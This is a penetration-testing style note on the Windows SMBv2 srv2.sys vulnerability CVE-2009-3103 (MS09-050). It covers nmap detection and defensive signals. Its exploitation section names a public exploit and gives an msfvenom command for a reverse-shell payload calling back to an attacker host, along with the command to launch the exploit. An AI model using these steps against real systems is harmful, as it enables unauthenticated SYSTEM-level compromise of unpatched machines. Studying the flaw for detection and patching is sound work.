SMBv2 srv2.sys (CVE-2009-3103 / MS09-050)

CVE-2009-3103 is a memory-corruption vulnerability in the srv2.sys driver, Windows' kernel SMBv2 implementation. It affects Windows Vista (Gold/SP1/SP2), Windows Server 2008 (Gold/SP2) and the first Windows 7 RC. Microsoft fixed it with bulletin MS09-050.

What's broken. The flaw is an array index error while processing the Process ID High field of a NEGOTIATE PROTOCOL REQUEST packet: an & (ampersand) in that header makes srv2.sys dereference an out-of-bounds memory location. The minimum result is a system crash (BSOD, denial of service); with a careful exploit it turns into kernel-mode code execution, which is why the shell comes back directly as NT AUTHORITY\SYSTEM.

Unauthenticated. The attack only needs to reach 445/TCP with SMBv2 speaking; it requires no valid credentials (the attempt against [WORKGROUP\Administrator] may return NT_STATUS_LOGON_FAILURE and still trigger the overflow during protocol negotiation).

Detection. nmap identifies it before firing anything:

nmap -p139,445 --script smb-vuln-cve2009-3103 <ip>
# or the full sweep:
nmap -p139,445 --script "smb-vuln*" <ip>

Exploitation. The reference public exploit is 40280.py (Microsoft Windows - 'srv2.sys' SMB Code Execution, EDB-40280), which depends on pysmb (pip install pysmb). It carries an embedded shellcode that's best regenerated with msfvenom to a staged payload and caught with a handler:

msfvenom -p windows/shell/reverse_tcp LHOST=<ip> LPORT=<port> EXITFUNC=thread -f python -v shell
# paste the shellcode into the exploit, start the multi/handler and launch:
python2 ms09_050.py <ip>

Keep in mind it's a kernel overflow: if the offsets don't match the exact version, instead of a shell you get a hung box, so it may take retries.

How to detect it. Unlike the previous section (which uses nmap to find the vulnerability), defensive detection relies on three signals: a malformed SMBv2 NEGOTIATE PROTOCOL REQUEST with an & in the Process ID High field (IDS/IPS signatures for MS09-050 flag it in traffic to 445), system crashes with a bugcheck referencing srv2.sys (Event ID 1001 / minidump) when the exploit misses the offsets, and SMBv2 connections to 445 from a source that is not a usual client right before the hang. A spike of Server 2008/Vista reboots correlated with external SMB traffic is the signature.

Defence. Apply MS09-050 (and generally migrate off Server 2008/Vista, now unsupported), don't expose 445/139 to untrusted networks and disable legacy SMBv2 where unused. It's the "2009" equivalent of EternalBlue (MS17-010): a kernel SMB flaw that yields SYSTEM unauthenticated, alive only where unpatched systems remain.